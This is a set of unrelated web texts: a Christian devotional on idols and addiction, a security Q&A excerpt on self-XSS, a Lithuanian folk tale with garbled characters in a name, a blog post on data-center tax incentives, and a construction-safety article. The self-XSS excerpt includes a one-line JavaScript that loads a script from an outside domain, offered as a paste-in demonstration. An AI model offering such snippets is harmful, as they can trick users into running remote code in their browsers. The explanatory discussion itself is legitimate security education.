Humans were made to glorify God and to enjoy him. We were designed to worship only the one, true God and serve him wholeheartedly. But we have exchanged this ultimate purpose for lesser ones.
Even though God should be the sole object of our worship, we constantly turn away from him, rebelliously searching for other purposes in life. We still find ourselves doing what we were designed to do — worshipping something and serving it. Only now, the object of worship has changed. We have moved from green grass to mud puddles and jagged rocks, from God to idols.
As Romans 1:21-25 says, “For although they knew God, they did not honor him as God or give thanks to him, but they became futile in their thinking, and their foolish hearts were darkened....
Claiming to be wise, they became fools, and exchanged the glory of the immortal God for images resembling mortal man and birds and animals and reptiles. They exchanged the truth about God for a lie and worshiped and served the creature rather than the Creator.”
The various puddles and rocks of this world that we choose as substitutes for God are endless and invariably devastating. Anything that takes the rightful place of God in our lives is understood to be an idol. This exchange of God for idols is lethal to the human heart.
Types of Idols and Addictions
Idolatry is not a practice only found in ancient cultures. It is very much prevalent in our own culture. One manifestation of idolatry is addiction.
We see its fatal effects everyday. We seek the thrill of drugs to give us happiness, only to drop into the shaky depression of addiction. We view alcohol as the thing that will wash away our cares and give us courage, calmness, or prestige, but inevitably it leaves us painfully hung-over and abused.
The pursuit of meaningful work is an admirable goal, but careers and occupations can also be elevated to the status of an idol that dominates all of life.
Similarly, grades can become everything for students. All is sacrificed for academic excellence, sometimes leaving the rest of one’s life in shambles.
Likewise, relationships are a common substitute for God. We are continually tempted to put friends, mentors, partners, spouses, or even children on pedestals, and seek our identity and purpose from them.
Sadly, many seek fulfillment through an act or service,such as prostitution, pornography, or other forms of illicit sex.
In all these cases, something or someone is sought after, desired, and idolized. Life revolves around this idol. In some cases, addiction results. In every case, an object is vainly pursued in the hope of finding lasting joy.
Finding Permanent Satisfaction
The major problem is that what is being pursued was never meant to give unending joy and can never do so. It was never meant to take the place of God, in whom alone we find unending joy, peace, and satisfaction.
Created things can never truly replace the Creator.
They were never supposed to. Whenever we begin living for someone or something other than God, whether it be good or evil, we are inevitably disappointed and left unsatisfied. It’s like trying to make a square block fit into a round hole — it just doesn’t work.
Blaise Pascal once said, “There’s a God-shaped vacuum in every heart.” How right he was.
“Our souls are restless until they find rest in God,” said Augustine. Only God can satisfy."
But how do we turn from our idols and addictions and turn toward God?
If you would like to discuss this question, please do not hesitate to fill out the form below to connect with one of our online mentors. This service is free and confidential.
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This attack is called self XSS and can cause harm to the user and indirectly to the machine. A reputable website can ask the user to download and install a malicious piece of executable code by pretending, for example, that it needs a Flash update.
To get a nice visual example of this, manually type
z=document.createElement("script");z.src="https://peniscorp.com/topkek.js"; document.body.appendChild(z); If you don't trust me, do it in the address bar of a website you are not logged in.
Most browsers have realised this vulnerability and attempt to limit the impact by cutting out
I would like to complete the Accepted Answer from Cristian Dobre, which is correct but incomplete.
Such occurrences are rarely discovered in the wild but exist, and new ones are discovered every year (Chrome had less than Firefox which has WAY LESS than IE, in the past).
So, to answer your question : yes, it can harm a client's machine. If the machine is fully patched, only a zero-day (extremely unlikely yet still technically possible) could do such harm. Zero-days with such power are mostly, "luckily", used for targeted attacks to avoid attention and maximize the chances of non-detection (and, thus, future reuse).
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Eglė the Queen of Serpents
A Lithuanian folk tale, also known as Eglė the Queen of Grass Snakes
nce upon a time, there lived an old man and his wife. Together, they had twelve sons and three daughters. The youngest girl was named Eglė. On a warm summer evening, all three girls decided to go swimming. After bathing with her two sisters, Eglė discovered a serpent in the sleeve of her blouse.
The eldest girl grabbed Eglė's blouse, threw it down, and jumped on it, but the serpent did not leave. Turning to the youngest, Eglė, the serpent spoke to her in a man's voice, saying, "Eglė, promise to become my bride, and I will gladly come out."
In order to get him to leave her clothes, Eglė pledged herself to him, not understanding the possible consequences.
Three days later, thousands of serpents came for Eglė, but her relatives tricked them three times in a row. A goose, a sheep, and a cow were given instead of the girl, despite the warnings of a cuckoo. Finally, the enraged serpents returned and took Eglė with them to their master at the bottom of the sea.
Instead of seeing a serpent, Eglė met her bridegroom �ilvinas, a handsome man and the Serpent Prince. They married and bore four children, living happily.
One day, Eglė wished to visit her home, but her husband would not allow her. In order to be allowed the visit, Eglė would be required to fulfill three impossible tasks: to spin a never-ending tuft of silk, wear down a pair of iron shoes, and bake a pie with no utensils. Upon advice from a sorceress, Eglė was able to complete these tasks. She and her children left �ilvinas to visit her home.
After meeting with Eglė and her children, her family wished to keep her rather than let her return to the sea. They plotted to kill �ilvinas. Eglė's brothers asked her sons to reveal the secret calling of �ilvinas, but they would not. Finally, one of Eglė's daughters disclosed it:
"�ilvinas, dear �ilvinas,
If alive - may the sea foam milk
If dead - may the sea foam blood..."
The twelve brothers then called �ilvinas out from the sea, and killed him with scythes. They kept the secret of their deed from Eglė. Worried, Eglė called her husband, but only foams of blood returned from the sea.
Discovering that her beloved husband was dead, Eglė turned herself and her children into trees. Her sons were turned into strong trees: oak, ash and birch; her daughter was turned into a common aspen, and Eglė was turned into a spruce.
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Last week we took note of a state Commerce Department report on Washington’s lagging competitiveness for data centers. Today, we want to cite a Wenatchee World op-ed (behind a pay wall) by Matthew Hepner, executive director of the Certified Electrical Workers of Washington, and Robin Toth, vice president of Greater Spokane Incorporated. They identify the economic importance of data centers to our state, writing,
Legislation proposed in Olympia will extend Washington’s existing data center investment incentives statewide. Expansion will make Washington’s metro areas more attractive for data center location, but everyone, regardless of where you live, should support passage.
Data centers touch virtually every aspect of our lives, including education, healthcare, financial services, e-commerce, manufacturing, communications, and entertainment. They are the foundation of the digital economy, increasing productivity and enabling business and personal transactions. With increasing reliance on cloud computing, artificial intelligence and Internet of Things, their importance continues to grow.
Currently, as the Commerce Department study found,
Washington is almost the only state that limits its sales and use tax exemptions to specific rural counties. The data center market has changed dramatically since the state of Washington formulated its thinking. The projects are larger, the stakes are bigger, and there are three times as many states competing for these deals…
Urban Washington counties that do not have access to sales and use tax exemptions for data centers will continue to be at a competitive disadvantage to other urban data center markets, such as Portland that either do not have sales tax or that offer tax incentives that abate the sales tax.
Hepner and Toth write,
Construction of data centers in rural communities has ebbed and flowed in direct relation to the state incentives provided. With incentives in place, rural Washington locations have been competitive. When they were temporarily rescinded, construction migrated to Oregon and elsewhere…
While the incentives kept rural Washington sites competitive, the challenge grows in urban locations.
Beyond power costs, the next key cost component and the largest differential is taxes. Washington’s metro areas aren’t competitive on that front, because sales taxes add approximately 10 percent to the total equipment cost per refresh cycle.
In contrast, Oregon has no sales tax. Additionally, the Portland suburb of Hillsboro has invested heavily in communications infrastructure and created an “enterprise zone” offering other incentives to encourage data center investment. Since 2011, it’s estimated that over $1.9 billion has been invested in data centers there, while the Puget Sound region, with a larger population, economy and tech sector, has seen roughly one-tenth that amount. Many of the largest US data center operators, foreign ITcompanies, and end users have already located in Hillsboro.
Extending existing incentives statewide — as House Bill 2673 and Senate Bill 6307 would do — will help stem this tide by making Washington more attractive to the widest range of data center owners, operators and end-users.
The Associated Press reports that Virginia has been aggressively pursuing the business with tax incentives.
Tax breaks to attract some of the world’s richest companies to Virginia have exploded as the state has become a top global market for data centers.
The Commerce Department report pointed out that Virginia’s promotional material specifically cites Washington’s on-again, off-again history with data center incentives. The report comments,
As Virginia points out, the market abhors uncertainty, and predictable competitive tax incentives are a critical component of the competition between states for data centers.
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Construction crews face more common and serious safety hazards than the majority of other jobs. Despite constant care, construction sites are full of dangerous machines, surroundings, risks, and substances that can bring significant to fatal injury.
Qualified contractors do a crucial but frequently difficult role in the construction industry. On construction projects, there are several possibilities for injury, especially for people who are unaware of the dangers. Although some disasters have more significant consequences than others, any damage to a contractor might impair their capacity to make money or harm their image in the future.
It is the responsibility of London builders as a construction company or site manager to take the appropriate safeguards and protect the workforce from unwarranted dangers.
The following are the most important safety precautions for today’s building professionals.
Safety Precautions for Common Construction Risks:
● Head Protection:
Brain injuries can be triggered by a range of construction dangers, therefore wearing protective gear is essential. Architects, builders, and occupational safety experts design buildings to be as secure as necessary in order to maximize productivity and safety. Sadly, the majority of dangers exist prior to the conclusion of construction. During building sites, falling debris, low-hanging threats, unprotected wires, and heavy objects all provide a danger of brain injury.
Seizures, poor memory, reduced motor function, and death can all result after a head injury. To minimize these complications, construction safety standards mandate that hard helmets be worn in situations where there is a high risk of head injury. Hard helmets are a simple and reliable way to keep construction workers safe from unexpected or concealed dangers.
● Site security:
Site access restrictions should be implemented for more than just protecting assets from loss or theft. People must be protected from unexpected construction dangers both during and outside of work hours. This covers site visitors who have been given permission to visit.
Contractors will also be protected from accountability and carelessness in the event of a security violation or security breach if they follow strict security and safety measures.
● Safety Vests:
Good visibility shirts are another name for safety vests. The goal of a safety vest is to maintain the wearer visible at all times, even in the darkness, and to ensure that he is seen by others.
Safety vests come in a variety of bright hues, such as red, green, and yellow, to make it easier for employees to identify and find one another.
● Material Storage:
When not in operation, goods on the worksite should be carefully maintained to avoid harm and material waste. Make sure there’s enough space and that everything is in order. Proper management can avoid goods from falling and causing harm and mishaps. The load of the items housed should be within the building’s safe capacity limitations.
Maintain a free route for personalized walking to avoid injury. Always keep the materials out of the way of traffic. If the walls are not constructed on the border of the floor, place materials at least 6 feet away from the apertures in the floor and at least 10 feet back from the sides of the floor.
● Dropped objects:
It is your duty to keep objects protected on the premises and reduce the risk of them dropping. Avoid them by implementing precautionary safety procedures.
Once the job is finished and your employees have gone back home, construction safety does not end here. All individuals participating in the construction phase have a commitment to check that the proper parts and tools are used in order to minimize potential safety issues.
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